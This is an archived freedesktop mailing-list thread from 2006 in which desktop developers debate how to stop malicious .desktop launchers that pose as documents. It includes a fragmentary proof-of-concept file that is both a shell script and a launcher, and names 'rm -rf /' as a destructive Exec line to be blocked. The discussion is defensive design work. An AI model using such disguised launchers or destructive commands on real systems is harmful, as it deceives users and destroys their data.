> and the problem that
> started this thread off is that KDE and GNOME can represent a .desktop
> file as pretty much any kind of file (jpeg, ms word doc, whatever).
[...]
> You can't execute .desktop files even if they are marked as +x from the
> command line, as there is no binfmt handler for them.
First, who said that worm writers are not allowed to call their ELF
creations 'myworm.desktop'? What you are doing is saving them the
trouble of having to find a way to make their worm executable (this
reminds me of Sony's rootkit now).
Second, care to try this one out? Recognize something?
--- cut here ---
#!/bin/sh
[ <<[EOF] ] # autopackage ]
[Desktop Entry]
Version=1.0
Encoding=UTF-8
Name=Install SuperChromotastic
aaaa=< /dev/tty`
x1=`echo Test > /dev/tty`
x2=`echo Press Enter twice > /dev/tty`
x2=`read`
--- cut here ---
Note: For some reason the pipes did not work in the Exec line on Gnome
2.2 so I changed them to exclamation marks.
--
Francois Gouget
<email removed>
From: Francois Gouget
Date: 2006-03-28 07:38:30
Mike Hearn wrote:
[...]
>> Surely, requiring that web browsers and email tools make all the files
>> they save executable cannot be good for security...
>
> Only .desktop files, and right now +x on such a file is meaningless anyway.
Right. So now tools like wget (and shells, see below) have to know about
KDE/Gnome internal concepts like desktop files! And you criticize
Windows design?
>> Which is kind of the opposite of its normal meaning which can be taken
>> to be 'I trust this file enough that I am willing to execute it'.
>>
> Yes, it's unintuitive to reverse the meaning like that,
It's not just unintuitive, it's dangerous and unsecure too. By dictating
that tools that download file must mark .desktop files as executable you
have just removed the one thing that prevents nasty .desktop files like
the one you mentioned from being executed on the command line!
Unless you now want to mandate that bash, zsh, dash and all other shells
must also make an exception for .desktop files! As they say 'this way
lies insanity'.
--
Francois Gouget
<email removed>
From: Francois Gouget
Date: 2006-03-28 06:50:04
Mike Hearn wrote:
[...]
> Here's an idea - the problem with requiring an EA or +x to be set is it
> breaks backwards compatibility (it'd break Crossover/Wine for one ...).
Well, in my proposal, only untrusted files need the untrusted EA bit
set. So backward compatibility is not broken.
> But what if the logic is inverted - so the absence of +x means a file is
> trusted, and web browsers or email programs set +x when they save a file
> to disk?
Surely, requiring that web browsers and email tools make all the files
they save executable cannot be good for security...
> The +x bit on a .desktop file in the users home dir is then
> treated as a "don't trust" marker.
Which is kind of the opposite of its normal meaning which can be taken
to be 'I trust this file enough that I am willing to execute it'.
--
Francois Gouget
<email removed>
From: Francois Gouget
Date: 2006-03-28 11:41:02
Thiago Macieira wrote:
[...]
>>Now if desktop files were to start with '#!/usr/bin/whatever', then
>>making the trusted ones executable could make sense.
>
> #!/bin/false
I was thinking more of something along the lines of
'#!/usr/bin/run_desktop_file'. Desktop files are equivalent to shell
scripts anyway. The only thing missing is that one cannot use them
transparently because exec() does not know what to do with them. This
limits their use to a few Freeesktop-aware applications. Adding the
above line and making _trusted_ desktop files executable would fix this
oversight.
> There's also the sticky bit.
While not introducing security issues that I can see, this would still
be really really ugly. What next?
Gimp putting the sticky bit on images to help identify black and white
images? OpenOffice using the sticky bit to help the user identify which
files he modified?
Permission bits are not there just for anyone to redefine on a whim!
--
Francois Gouget
<email removed>
From: Thiago Macieira
Date: 2006-03-28 03:02:10
Dave Cridland wrote:
>You're certainly right in thinking this is a good solution, but it's
>not one open to us, because not everywhere has extended attributes
>just yet. The only common factor we have to play with on the vast
>majority of filesystems is the file mode bits. Basically, the x bit
>is currently unused, in effect, by .desktop files, so realistically
>this is a poor man's emulation of this.
We could abuse the sticky bit for that. What's also interesting, it would
show a "t" or "T" in the output of ls -l.
It has no effect on text files on Linux, nor on executables. However, the
man page for "chmod" says that, on some systems, only the superuser can
set the sticky bit. Does anyone know what such systems might be?
We'd also have to instruct download programs not to preserve the sticky
bit when downloading files from the Internet.
However, I think using the executable bit is better and making trusted
files executable. We'd treat .desktop files just like any other script.
This would require that all distributions start shipping +x .desktop
files ASAP.
--
Thiago Macieira - thiago (AT) macieira.info - thiago (AT) kde.org
thiago.macieira (AT) trolltech.com Trolltech AS
GPG: 0x6EF45358 | Sandakerveien 116,
E067 918B B660 DBD1 105C | NO-0402
966C 33F5 F005 6EF4 5358 | Oslo, Norway
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 191 bytes
Desc: not available
Url : \
http://lists.freedesktop.org/archives/x … chment.pgp
From: Travis Watkins
Date: 2006-03-29 23:13:30
I'd just like to point out that whatever is decided, it has to be
something a menu editor can implement, so it has to be something a
user can (somewhat) understand.
--
Travis Watkins
http://www.realistanew.com
From: Ludwig Nussel
Date: 2006-03-29 00:23:46
On Tuesday 28 March 2006 20:18, Thiago Macieira wrote:
> Ludwig Nussel wrote:
> >I wonder why desktop files get 'executed' at all. Only the programs
> >that display the desktop and the menu need to run what's described
> >in a desktop file. For everything else the default action could be
> >just like the one for text/plain, ie launch an editor.
>
> The desktop and the file manager are usually the same backend. And if you
> were to browse to ~/Desktop in your filemanager, wouldn't you want to be
> able to click on your shortcuts?
~/Desktop is not what's displayed as desktop. The desktop is (or
could be) an overlay of multiple directories. So ~/Desktop is just a
directory like any other directory, it just happens to be the place
where the user specific part of the desktop is stored in the
filesystem. Same applies to the files for the menu.
~/.local/share/applications is not what I see in the menu. So IMO
it's fine to open a text editor when clicking on a file in
~/.local/share/application|~/Desktop but launch the application when
clicking on the representation of the same file in the menu or on
the desktop.
cu
Ludwig
--
(o_ Ludwig Nussel
//\ SUSE LINUX Products GmbH, Development
V_/_ http://www.suse.de/
From: Aaron J. Seigo
Date: 2006-03-29 05:22:38
On Wednesday 29 March 2006 01:21, Ludwig Nussel wrote:
> ~/Desktop is not what's displayed as desktop. The desktop is (or
> could be) an overlay of multiple directories. So ~/Desktop is just a
> directory like any other directory, it just happens to be the place
> where the user specific part of the desktop is stored in the
> filesystem. Same applies to the files for the menu.
> ~/.local/share/applications is not what I see in the menu. So IMO
> it's fine to open a text editor when clicking on a file in
> ~/.local/share/application|~/Desktop but launch the application when
> clicking on the representation of the same file in the menu or on
> the desktop.
try telling that to your average user who sees "a launcher" not \
"a desktop
file that i'm looking at in file manager mode in directory foo" =/
--
Aaron J. Seigo
GPG Fingerprint: 8B8B 2209 0C6F 7C47 B1EA EE75 D6B7 2EB1 A7F1 DB43
Full time KDE developer sponsored by Trolltech (http://www.trolltech.com)
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: not available
Url : \
http://lists.freedesktop.org/archives/x … chment.pgp
From: Mike Hearn
Date: 2006-04-01 15:18:27
On Sat, 01 Apr 2006 08:58:08 +0200, Francois Gouget wrote:
> Also notice how rogue desktop files cannot use such a tool to sign
> themselves before they are executed (no more than they can use chmod +x).
Actually I quite liked your original proposal with using EAs. Not every
system supports it, but this is not an essential feature so IMHO that's
OK. At least, it would give people (more) incentive to properly support
EAs. And support is coming anyway as Beagle uses EAs extensively.
From: Mike Hearn
Date: 2006-04-01 15:20:14
On Tue, 28 Mar 2006 23:59:11 -0500, Rodney Dawes wrote:
> The current "solution" in nautilus really sucks, and won't let me even
> open valid files, where the extension disagrees with the data mime type
> discovery.
That's a different (but related) issue, where a file extension does not
match what the file contents says it is.
This issue is that .desktop files are treated specially by the desktops,
and can choose their own name and icon. It doesn't matter what is done
with MIME typing or anything else - it will not affect desktop files
without a change in the spec or implementation.
From: Mike Hearn
Date: 2006-04-02 15:43:23
> But this is only true if the .desktop file is a valid .desktop file, no?
I guess so. I don't know what KDE/GNOME do when given an invalid desktop
file.
> And if the icon is actually in the theme on the user's system?
Yes - things like JPEG file, word processor document etc are pretty much
guaranteed to be there.
> They can't embed their own icons.
This is what will save us ...
> We can also limit what one can put in the Icon= line, to icons in the \
Applications
> context.
That was the original proposal. There have been lots of alternatives
proposed, but can anybody think of a good reason why we shouldn't do
this? Aaron gave the best IMHO - that there are many "legit" icons a
malicious file could use that aren't mime icons. Fair point. But, is
this reasoning strong enough to say we should not do it? I am not sure.
thanks -mike
From: Rodney Dawes
Date: 2006-04-02 07:36:49
On Sun, 2006-04-02 at 00:17 +0100, Mike Hearn wrote:
> On Tue, 28 Mar 2006 23:59:11 -0500, Rodney Dawes wrote:
> > The current "solution" in nautilus really sucks, and won't \
let me even
> > open valid files, where the extension disagrees with the data mime type
> > discovery.
>
> That's a different (but related) issue, where a file extension does not
> match what the file contents says it is.
>
> This issue is that .desktop files are treated specially by the desktops,
> and can choose their own name and icon. It doesn't matter what is done
> with MIME typing or anything else - it will not affect desktop files
> without a change in the spec or implementation.
But this is only true if the .desktop file is a valid .desktop file, no?
And if the icon is actually in the theme on the user's system? They
can't embed their own icons. And as I said in another part of my mail,
we should limit what one can put in the Exec= line. We can also limit
what one can put in the Icon= line, to icons in the Applications
context. While the names in this context are more freeform, the intent
is that the icon names match the binary name of the application, unless
it is a generic desktop application, such as "calculator", which we are
speccing out in the Icon Naming Spec.
-- dobey
From: Waldo Bastian
Date: 2006-04-07 22:51:52
On Tuesday 28 March 2006 11:27, Francois Gouget wrote:
> Mike Hearn wrote:
> [...]
>
> > To reiterate, the security problem here is that something which is a
> > program can make itself look like a document by using a .desktop file.
>
> Right, that was the initial problem. But your proposals to use the +x
> permission bit to fix it creates a lot more security issues that they
> fix. Claiming they are unrelated is ridiculous.
>
> > The fact that +x bits have some other meaning for shell scripts and
> >
> > ELF files isn't related .....
>
> The meaning of the +x bit is defined by the exec() Unix system call. It
> does not matter to that system call whether the file is a shell script,
> an ELF binary or a desktop file. You can say what you want, it *is*
> related.
>
> When considering security issues you must always consider the whole
> system, not just the one small aspect you are interested in. Failure to
> do so results in opening more security holes than you plug.
I think it's a sane idea to require +x on .desktop files in order for a file
browser or "Desktop" to execute the .desktop file. It shouldn't be too \
much
of a problem to add a #!/usr/bin/xdg-open line to the format either, although
it my take a while before applications actually start to add that.
Cheers,
Waldo
--
Linux Client Architect - Channel Platform Solutions Group - Intel Corporation
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: not available
Url : \
http://lists.freedesktop.org/archives/x … chment.pgp
From: Joe Baker
Date: 2006-04-10 16:58:34
Waldo Bastian wrote:
> On Tuesday 28 March 2006 11:27, Francois Gouget wrote:
>
>> Mike Hearn wrote:
>> [...]
>>
>>
>>> To reiterate, the security problem here is that something which is a
>>> program can make itself look like a document by using a .desktop file.
>>>
>> Right, that was the initial problem. But your proposals to use the +x
>> permission bit to fix it creates a lot more security issues that they
>> fix. Claiming they are unrelated is ridiculous.
>>
>>
>>> The fact that +x bits have some other meaning for shell scripts and
>>>
>>>
>> > ELF files isn't related .....
>>
>> The meaning of the +x bit is defined by the exec() Unix system call. It
>> does not matter to that system call whether the file is a shell script,
>> an ELF binary or a desktop file. You can say what you want, it *is*
>> related.
>>
>> When considering security issues you must always consider the whole
>> system, not just the one small aspect you are interested in. Failure to
>> do so results in opening more security holes than you plug.
>>
>
> I think it's a sane idea to require +x on .desktop files in order for a file
> browser or "Desktop" to execute the .desktop file. It shouldn't \
be too much
> of a problem to add a #!/usr/bin/xdg-open line to the format either, although
> it my take a while before applications actually start to add that.
>
What about when the KDE desktop is deployed on top of a FAT32 filesystem
which doesn't allow for UNIX style file attributes? The desktop system
introduced this vulnerability, it should close it within it's own
architecture.
Also what about systems where the user's home directory is mounted with
the noexec option?
-Joe Baker
From: Bastian, Waldo
Date: 2006-04-10 17:34:36
A viable strategy would be to start creating .desktop files with +x set
and a #!/usr/bin/xdg-open line now and then to wait a while before
environments actually start requiring it. In the meantime there could be
some config setting that people/distributions can use to enable it
before that time.
Waldo Bastian
Linux Client Architect - Client Linux Foundation Technology
Channel Platform Solutions Group
Intel Corporation - http://www.intel.com/go/linux
OSDL DTL Tech Board Chairman
>-----Original Message-----
>From: xdg-<email removed> [mailto:xdg-
><email removed>] On Behalf Of Thomas Leonard
>Sent: Monday, April 10, 2006 1:27 PM
>To: <email removed>
>Subject: Re: Security issue with .desktop files revisited
>
>On Mon, 10 Apr 2006 04:58:28 -0700, Sam Watkins wrote:
>
>> Waldo Bastian wrote:
>>> I think it's a sane idea to require +x on .desktop files in order
for a
>file
>>> browser or "Desktop" to execute the .desktop file. It \
shouldn't be
too
>much
>>> of a problem to add a #!/usr/bin/xdg-open line to the format either,
>although
>>> it my take a while before applications actually start to add that.
>>
>> Thank-you very much for the encouragement Waldo :)
>>
>> I'll have a go at implementing my proposal soon, God willing.
>>
>> If anyone knows of particular bits of gnome, kde and xfce that are
>> responsible for executing, creating and editing .desktop files,
>> would you please let me know to save me having to hunt around?
>>
>> Also do you know of any other environments, utilities, etc. out there
>> that use, create or manipulate .desktop files? Maybe there's a list
>> somewhere?
>
>Well, in ROX-Filer diritem.c, delete this:
>
> else if (item->mime_type == application_x_desktop)
> {
> item->flags |= ITEM_FLAG_EXEC_FILE;
> }
>
>But, I doubt you'll have much success getting patches applied until
>*after* .desktop files come with +x by default ;-)
>
>
>--
>Dr Thomas Leonard http://rox.sourceforge.net
>GPG: 9242 9807 C985 3C07 44A6 8B9A AE07 8280 59A5 3CC1
>
>
>_______________________________________________
>xdg mailing list
><email removed>
>http://lists.freedesktop.org/mailman/listinfo/xdg
From: Bastian, Waldo
Date: 2006-04-10 18:17:40
All files on a FAT32 system get +x don't they? (Please check) So
.desktop files will continue to work there. With noexec I think you will
not be able to execve() the files, but information about the presence of
the +x bit should still be there. Implementations would need to be a bit
careful how they check for it.
Waldo Bastian
Linux Client Architect - Client Linux Foundation Technology
Channel Platform Solutions Group
Intel Corporation - http://www.intel.com/go/linux
OSDL DTL Tech Board Chairman
>-----Original Message-----
>From: xdg-<email removed> [mailto:xdg-
><email removed>] On Behalf Of Joe Baker
>Sent: Monday, April 10, 2006 4:58 PM
>To: <email removed>
>Subject: Re: Security issue with .desktop files revisited
>
>Waldo Bastian wrote:
>> On Tuesday 28 March 2006 11:27, Francois Gouget wrote:
>>
>>> Mike Hearn wrote:
>>> [...]
>>>
>>>
>>>> To reiterate, the security problem here is that something which is
a
>>>> program can make itself look like a document by using a .desktop
file.
>>>>
>>> Right, that was the initial problem. But your proposals to use the
+x
>>> permission bit to fix it creates a lot more security issues that
they
>>> fix. Claiming they are unrelated is ridiculous.
>>>
>>>
>>>> The fact that +x bits have some other meaning for shell scripts and
>>>>
>>>>
>>> > ELF files isn't related .....
>>>
>>> The meaning of the +x bit is defined by the exec() Unix system call.
It
>>> does not matter to that system call whether the file is a shell
script,
>>> an ELF binary or a desktop file. You can say what you want, it *is*
>>> related.
>>>
>>> When considering security issues you must always consider the whole
>>> system, not just the one small aspect you are interested in. Failure
to
>>> do so results in opening more security holes than you plug.
>>>
>>
>> I think it's a sane idea to require +x on .desktop files in order for
a
>file
>> browser or "Desktop" to execute the .desktop file. It shouldn't be
too
>much
>> of a problem to add a #!/usr/bin/xdg-open line to the format either,
>although
>> it my take a while before applications actually start to add that.
>>
>What about when the KDE desktop is deployed on top of a FAT32
filesystem
>which doesn't allow for UNIX style file attributes? The desktop system
>introduced this vulnerability, it should close it within it's own
>architecture.
>Also what about systems where the user's home directory is mounted with
>the noexec option?
>
>-Joe Baker
>
>_______________________________________________
>xdg mailing list
><email removed>
>http://lists.freedesktop.org/mailman/listinfo/xdg
From: Sam Watkins
Date: 2006-04-10 04:58:58
Waldo Bastian wrote:
> I think it's a sane idea to require +x on .desktop files in order for a file
> browser or "Desktop" to execute the .desktop file. It shouldn't \
be too much
> of a problem to add a #!/usr/bin/xdg-open line to the format either, although
> it my take a while before applications actually start to add that.
Thank-you very much for the encouragement Waldo :)
I'll have a go at implementing my proposal soon, God willing.
If anyone knows of particular bits of gnome, kde and xfce that are
responsible for executing, creating and editing .desktop files,
would you please let me know to save me having to hunt around?
Also do you know of any other environments, utilities, etc. out there
that use, create or manipulate .desktop files? Maybe there's a list
somewhere?
thanks,
Sam
From: Thiago Macieira
Date: 2006-04-10 23:41:23
Joe Baker wrote:
>What about when the KDE desktop is deployed on top of a FAT32 filesystem
>which doesn't allow for UNIX style file attributes? ?The desktop system
>introduced this vulnerability, it should close it within it's own
>architecture.
First of all, this doesn't work. I don't think KDE runs on top of FAT32
since that filesystem is too limited (I think we require hardlinking). I
might be wrong, though.
Second, as has been explained, if you can't have +x/-x security,
then .desktop files aren't the problem. Scripts and other binaries will
become executable too without user intervention. So we go back
to .desktop and other executables being on the same boat.
--
Thiago Macieira - thiago (AT) macieira.info - thiago (AT) kde.org
thiago.macieira (AT) trolltech.com Trolltech AS
GPG: 0x6EF45358 | Sandakerveien 116,
E067 918B B660 DBD1 105C | NO-0402
966C 33F5 F005 6EF4 5358 | Oslo, Norway
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 191 bytes
Desc: not available
Url : \
http://lists.freedesktop.org/archives/x … chment.pgp
From: Thomas Leonard
Date: 2006-04-10 13:25:38
On Mon, 10 Apr 2006 04:58:28 -0700, Sam Watkins wrote:
> Waldo Bastian wrote:
>> I think it's a sane idea to require +x on .desktop files in order for a \
file
>> browser or "Desktop" to execute the .desktop file. It \
shouldn't be too much
>> of a problem to add a #!/usr/bin/xdg-open line to the format either, \
although
>> it my take a while before applications actually start to add that.
>
> Thank-you very much for the encouragement Waldo :)
>
> I'll have a go at implementing my proposal soon, God willing.
>
> If anyone knows of particular bits of gnome, kde and xfce that are
> responsible for executing, creating and editing .desktop files,
> would you please let me know to save me having to hunt around?
>
> Also do you know of any other environments, utilities, etc. out there
> that use, create or manipulate .desktop files? Maybe there's a list
> somewhere?
Well, in ROX-Filer diritem.c, delete this:
else if (item->mime_type == application_x_desktop)
{
item->flags |= ITEM_FLAG_EXEC_FILE;
}
But, I doubt you'll have much success getting patches applied until
*after* .desktop files come with +x by default ;-)
--
Dr Thomas Leonard http://rox.sourceforge.net
GPG: 9242 9807 C985 3C07 44A6 8B9A AE07 8280 59A5 3CC1
From: Benedikt Meurer
Date: 2006-04-11 11:13:05
Sam Morris wrote:
>> That's really unlikely, as that way thousands of Perl, Python, etc.
>> scripts wouldn't work on RedHat out of the box. According to rpmfind the
>> coreutils package in RedHat9 provides /usr/bin/env.
>
> It's bizarre that Fedora and Redhat differ on this point, but on a
> machine running Fedora Core 3:
>
> $ rpm -qf /bin/env
> coreutils-5.2.1-31
>
> Actually it seems that there is also a symlink in /usr/bin pointing to
> /bin/env so I guess Fedora/Redhat machines are covered after all. But
> what about other Unixes?
/usr/bin/env is pretty much standard, that's why its used for all kinds
of scripts.
Benedikt
From: Rodney Dawes
Date: 2006-04-11 10:02:46
Better yet, let's not encourage people to turn .desktop files into
scripts. As has been expressed MANY times in this thread, requiring +x
and a special tool that doesn't evaluate Exec any differently thatn we
are currently evaluating Exec, doesn't solve the problem. It is very
easy to ship a .desktop file to someone that is already +x.
We need to fix the evaluation semantics of Exec, not write a bunch of
easily-avoidable workarounds.
-- dobey
On Tue, 2006-04-11 at 17:06 +0200, Benedikt Meurer wrote:
> Bastian, Waldo wrote:
> > A viable strategy would be to start creating .desktop files with +x set
> > and a #!/usr/bin/xdg-open line now and then to wait a while before
> > environments actually start requiring it.
>
> Please do not encourage people to hardcode /usr/bin/xdg-open. Instead,
> suggest to use #!/usr/bin/env xdg-open.
>
> > Waldo Bastian
>
> Benedikt
From: Thiago Macieira
Date: 2006-04-11 11:54:17
Rodney Dawes wrote:
>Better yet, let's not encourage people to turn .desktop files into
>scripts. As has been expressed MANY times in this thread, requiring +x
>and a special tool that doesn't evaluate Exec any differently thatn we
>are currently evaluating Exec, doesn't solve the problem. It is very
>easy to ship a .desktop file to someone that is already +x.
We've got to deal with the situation where sending executable files is NOT
easy. If it's easy, then users have a bigger problem than .desktop files.
So, assuming that users don't get +x files by default, then this solution
IS a good solution, for a start. We just go back to the fact
that .desktop files don't show the full name in the file managers and can
change icons. So the user might be led to click in the icon, thinking
it's something else entirely.
>We need to fix the evaluation semantics of Exec, not write a bunch of
>easily-avoidable workarounds.
Do you have anything in mind?
I don't see a way of restricting this without -- at the same time --
restrict functionality. Why shouldn't I be able to Exec anything I want?
Example: I used to have a terminal program with a switched LANG (when I
started using UTF-8):
LANG=pt_BR konsole
That's a shell construct. Are we going to require a shell parser
for .desktop launch?
--
Thiago Macieira - thiago (AT) macieira.info - thiago (AT) kde.org
thiago.macieira (AT) trolltech.com Trolltech AS
GPG: 0x6EF45358 | Sandakerveien 116,
E067 918B B660 DBD1 105C | NO-0402
966C 33F5 F005 6EF4 5358 | Oslo, Norway
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 191 bytes
Desc: not available
Url : \
http://lists.freedesktop.org/archives/x … chment.pgp
From: Benedikt Meurer
Date: 2006-04-11 10:07:20
Rodney Dawes wrote:
> Better yet, let's not encourage people to turn .desktop files into
> scripts. As has been expressed MANY times in this thread, requiring +x
> and a special tool that doesn't evaluate Exec any differently thatn we
> are currently evaluating Exec, doesn't solve the problem. It is very
> easy to ship a .desktop file to someone that is already +x.
>
> We need to fix the evaluation semantics of Exec, not write a bunch of
> easily-avoidable workarounds.
That's of course the preferable solution... but if people insist upon
making .desktop files executable, it should atleast be done in a cross
platform way.
> -- dobey
Benedikt
From: Bastian, Waldo
Date: 2006-04-11 15:59:00
>Better yet, let's not encourage people to turn .desktop files into
>scripts. As has been expressed MANY times in this thread, requiring +x
>and a special tool that doesn't evaluate Exec any differently thatn we
>are currently evaluating Exec, doesn't solve the problem. It is very
>easy to ship a .desktop file to someone that is already +x.
>
>We need to fix the evaluation semantics of Exec, not write a bunch of
>easily-avoidable workarounds.
I fail to understand how changing the evaluation semantics of Exec are
going to help with any of the mentined problems. Are you proposing some
sort of heuristic to decide on "safe" and "unsafe" commands in a
.desktop file?
Cheers,
Waldo
From: Benedikt Meurer
Date: 2006-04-11 10:16:57
Sam Morris wrote:
>>> A viable strategy would be to start creating .desktop files with +x set
>>> and a #!/usr/bin/xdg-open line now and then to wait a while before
>>> environments actually start requiring it.
>>
>> Please do not encourage people to hardcode /usr/bin/xdg-open. Instead,
>> suggest to use #!/usr/bin/env xdg-open.
>
> You can't rely on env being in the same place; Debian puts it in
> /usr/bin, Redhat in /bin.
That's really unlikely, as that way thousands of Perl, Python, etc.
scripts wouldn't work on RedHat out of the box. According to rpmfind the
coreutils package in RedHat9 provides /usr/bin/env.
Benedikt
From: Rodney Dawes
Date: 2006-04-11 10:32:32
On Tue, 2006-04-11 at 19:07 +0200, Benedikt Meurer wrote:
> Rodney Dawes wrote:
> > Better yet, let's not encourage people to turn .desktop files into
> > scripts. As has been expressed MANY times in this thread, requiring +x
> > and a special tool that doesn't evaluate Exec any differently thatn we
> > are currently evaluating Exec, doesn't solve the problem. It is very
> > easy to ship a .desktop file to someone that is already +x.
> >
> > We need to fix the evaluation semantics of Exec, not write a bunch of
> > easily-avoidable workarounds.
>
> That's of course the preferable solution... but if people insist upon
> making .desktop files executable, it should atleast be done in a cross
> platform way.
People insisting it should be done, doesn't mean it should be done. This
is why MS Word has a billion features that nobody knows how to use, and
just as many bugs that have gone unfixed over the years. Customers have
consistently requested features that they think will solve their
problems, and as MS did not know what the actual problems were, the
problems have gone unsolved. Blindly adding features that people insist
on having will only make the system less usable, and a pain in the ass
to maintain. Making .desktop files executable and requiring them to be,
WILL NOT SOLVE THE PROBLEM. Let's fix the problem, not implement a half-
assed workaround because people keep insisting it is a solution.
-- dobey
From: Benedikt Meurer
Date: 2006-04-11 08:06:15
Bastian, Waldo wrote:
> A viable strategy would be to start creating .desktop files with +x set
> and a #!/usr/bin/xdg-open line now and then to wait a while before
> environments actually start requiring it.
Please do not encourage people to hardcode /usr/bin/xdg-open. Instead,
suggest to use #!/usr/bin/env xdg-open.
> Waldo Bastian
Benedikt
From: Thiago Macieira
Date: 2006-04-12 12:30:10
Rodney Dawes wrote:
>actually use their computer. And .desktop files are in fact data and
>not executable scripts. Requiring +x just requires you to make them
>behave more like scripts.
The fact that you can write a whole shell script in the Exec= line
makes .desktop files de-facto scripts. They are shell scripts with a
special syntax and one that allows you to change the icon.
>We need to fix the semantics of the Icon field as well. This is actually
>easy to specify for common desktop applications. We can just rely on the
>naming scheme for application icons that is in the Icon Naming
>Specification, and specify the proper way to deal with types of .desktop
>files which are not Type=Application as well, such as links to webdav or
>smb shares.
Agreed. This makes sense.
>Users are going to just get into the habit of always doing chmod
>+x, as we have already been doing for perl/python/etc... scripts that
>we download off the web.
If they have that habit, they may be doing even nastier things than what a
shell script is capable of. A Perl script could be complex enough to
install backdoors and log keystrokes.
>Setting +x is not a solution, it's a problem.
I don't see how enforcing the bit could cause more harm than right now.
--
Thiago Macieira - thiago (AT) macieira.info - thiago (AT) kde.org
thiago.macieira (AT) trolltech.com Trolltech AS
GPG: 0x6EF45358 | Sandakerveien 116,
E067 918B B660 DBD1 105C | NO-0402
966C 33F5 F005 6EF4 5358 | Oslo, Norway
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 191 bytes
Desc: not available
Url : \
http://lists.freedesktop.org/archives/x … chment.pgp
From: Benedikt Meurer
Date: 2006-04-12 07:21:31
Francois Gouget wrote:
> Requiring +x on .desktop files also makes it possible to add an emblem
> to the icon of those that lack it, and/or to issue a warning when the
> user tries to run them. Thus this also protects users from .desktop
> files that have a misleading icon.
You don't need the +x bit to add an emblem. You can also just add
emblems to all files of type application/x-desktop.
> Sure there are many ways to make a .desktop file executable. But that's
> completely besides the point, because once we require +x on .desktop
> files they represent no more of a threat than shell scripts and ELF
> binaries.
Shell scripts and binaries are a different story. .desktop files can
have a custom icon and custom name, and that's the real problem. You
cannot easily create a shell script that looks like a PNG file. To
repeat it once again, requiring the +x bit won't solve the real problem.
> * .desktop files cannot be run without special action by the user
As said several times, it is still very easy to get the +x bit set on
the file, just put it into an archive. How should an archive manager
know whether it should leave the +x bit on the file when extracting.
There's no way to distinguish a malicious .desktop file from a safe
.desktop file. The +x bit can be set on both safe and unsafe files and
there's the real problem.
> * .desktop files cannot rely on their icon to fool the user
This has nothing to do with +x being set or not. Instead it's the
question whether the file manager should display the Icon from the
.desktop file or the generic application/x-desktop icon.
>> We need to fix the evaluation semantics of Exec, not write a bunch of
>> easily-avoidable workarounds.
>
> I don't see anything to be fixed in the 'evaluation semantics of Exec'
> that would help solve this problem. Maybe if you have a concrete
> proposal that can be discussed further. When writing your proposal,
> please keep in mind that it must be flexible enough to allow stuff like
>
> Exec=/opt/cxoffice/bin/wine --workdir "C:////Program Files////QuickTime
> " --check --cx-app "C:////Program
> Files////QuickTime////QuickTimePlayer.exe"
>
> (all on one line of course) while not allowing
>
> Exec=rm -rf /
While fixing the evaluation semantics of the Exec field would of course
be the best solution, it might be too complicated to get this right.
But, as suggested earlier, we could add some kind of signature to the
.desktop files, which allows applications to tell whether a .desktop
file can be trusted or not.
Benedikt
From: Rodney Dawes
Date: 2006-04-12 14:54:20
On Wed, 2006-04-12 at 21:30 +0200, Thiago Macieira wrote:
> Rodney Dawes wrote:
> >actually use their computer. And .desktop files are in fact data and
> >not executable scripts. Requiring +x just requires you to make them
> >behave more like scripts.
>
> The fact that you can write a whole shell script in the Exec= line
> makes .desktop files de-facto scripts. They are shell scripts with a
> special syntax and one that allows you to change the icon.
But you cannot execute it directly with the shell. You must extract the
specific contents of the Exec field, and pass them to a shell
interpreter. This is no different than embedding php or ruby within an
HTML document. It's still an HTML document, but may be processed to
deal with other embedded parts of it. By your semantics, PDFs which
contain JavaScript to be interepreted by Acrobat, are now JS scripts,
rather than PDF documents. This just simply isn't the case.
What would make .desktop files be shell scripts, is requiring them to
be +x, and requiring the first line to point an interpreter for them,
so that they may be executed directly on the command line. This also
extends the habit mentioned below, which is problematic, rather than
prevents it.
> >Users are going to just get into the habit of always doing chmod
> >+x, as we have already been doing for perl/python/etc... scripts that
> >we download off the web.
>
> If they have that habit, they may be doing even nastier things than what a
> shell script is capable of. A Perl script could be complex enough to
> install backdoors and log keystrokes.
>
> >Setting +x is not a solution, it's a problem.
>
> I don't see how enforcing the bit could cause more harm than right now.
Because, as a user, I now have to make every .desktop file I want to
create, have the +x bit. This means you encouraging the habit mentioned
above, which you also agree is even more problematic.
Let's fix the semantics for handling of the Icon field in the spec to
start with, and then go from there. One of the main concerns seems to
be that people are worried that .desktop files can specify their icon
as that of a MIME type. So, let's get something written up for the spec
to deal with this, and get it in, and get the implementations fixed to
handle it, and then look at fixing handling of Exec. Of course, this
won't actually work with the Tango theme in a lot of cases, as it
strives to only provide generic MIME type icons. :)
-- dobey
From: Rodney Dawes
Date: 2006-04-12 08:23:28
On Wed, 2006-04-12 at 14:46 +0200, Francois Gouget wrote:
> In order to run an executable one must have the execute permissions for
> that executable. Whether you like it or not .desktop files are
> executables and, as such, running them ('opening' them in desktop
> parlance) should require that you have the relevant execute permissions.
>
> Requiring +x on .desktop files also makes it possible to add an emblem
> to the icon of those that lack it, and/or to issue a warning when the
> user tries to run them. Thus this also protects users from .desktop
> files that have a misleading icon.
It doesn't prevent the .desktop file from having a misleading icon at
all. You're not changing the semantics of what goes in the Icon field.
You're simply requiring a user to do more work than is necessary, to
actually use their computer. And .desktop files are in fact data and
not executable scripts. Requiring +x just requires you to make them
behave more like scripts.
> Sure there are many ways to make a .desktop file executable. But that's
> completely besides the point, because once we require +x on .desktop
> files they represent no more of a threat than shell scripts and ELF
> binaries. So any solution to that particular problem must also take care
> of those otherwise it is useless. By the way, such a solution exists, it
> relies on Extended Attributes, and as has been said before will take a
> long time before it can really be deployed.
What are you talking about? What solution?
> So to summarize the current situation:
> * .desktop files are the only type of executable that can be run with
> a single click immediately after download
> * they can specify a misleading icon to fool the user
We need to fix the semantics of the Icon field as well. This is actually
easy to specify for common desktop applications. We can just rely on the
naming scheme for application icons that is in the Icon Naming
Specification, and specify the proper way to deal with types of .desktop
files which are not Type=Application as well, such as links to webdav or
smb shares.
> And after the we require .desktop files to have +x:
> * .desktop files cannot be run without special action by the user
